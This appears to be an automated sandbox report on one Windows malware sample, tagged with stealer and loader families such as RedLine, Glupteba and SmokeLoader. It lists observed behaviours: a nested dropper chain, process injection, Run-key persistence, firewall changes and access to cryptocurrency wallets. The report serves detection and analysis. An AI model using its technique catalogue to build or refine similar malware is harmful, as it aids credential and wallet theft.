Malware Analysis Report

2024-11-13 19:11

Sample ID 231111-24sghabh9t
Target abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48
SHA256 abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48
Tags
glupteba mystic redline smokeloader stealc zgrat taiga up3 backdoor paypal dropper evasion infostealer loader persistence phishing rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48

Threat Level: Known bad

The file abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48 was found to be: Known bad.

Malicious Activity Summary

glupteba mystic redline smokeloader stealc zgrat taiga up3 backdoor paypal dropper evasion infostealer loader persistence phishing rat spyware stealer trojan

Stealc

RedLine

Glupteba payload

Detect Mystic stealer payload

Detect ZGRat V1

SmokeLoader

RedLine payload

ZGRat

Glupteba

Mystic

Modifies Windows Firewall

Downloads MZ/PE file

Stops running service(s)

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

AutoIT Executable

Detected potential entity reuse from brand paypal.

Launches sc.exe

Unsigned PE

Enumerates physical storage devices

Program crash

Enumerates system info in registry

Suspicious use of SendNotifyMessage

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Delays execution with timeout.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Checks SCSI registry key(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-11 23:08

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-11 23:08

Reported

2023-11-11 23:11

Platform

win10v2004-20231023-en

Max time kernel

55s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe"

Signatures

Detect Mystic stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Mystic

stealer mystic

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Stealc

stealer stealc

ZGRat

rat zgrat

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\845E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\845E.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detected potential entity reuse from brand paypal.

phishing paypal

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4736 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe
PID 4736 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe
PID 4736 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe
PID 2896 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe
PID 2896 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe
PID 2896 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe
PID 3648 wrote to memory of 4320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe
PID 3648 wrote to memory of 4320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe
PID 3648 wrote to memory of 4320 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe
PID 4320 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe
PID 4320 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe
PID 4320 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe
PID 808 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 4896 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 4896 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 568 wrote to memory of 4484 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 568 wrote to memory of 4484 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 4992 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4992 wrote to memory of 4956 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4992 wrote to memory of 4956 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 5040 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 5040 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5040 wrote to memory of 3468 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5040 wrote to memory of 3468 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1884 wrote to memory of 2816 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1884 wrote to memory of 2816 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 808 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2760 wrote to memory of 4548 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2760 wrote to memory of 4548 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1180 wrote to memory of 1872 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe

"C:\Users\Admin\AppData\Local\Temp\abfd1325d9db947c892ca5750c28a54dca24d7228a36b5869941f037306a6f48.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CJ0Gm17.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CJ2ZR00.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zI1KA62.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1hz51Rq0.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

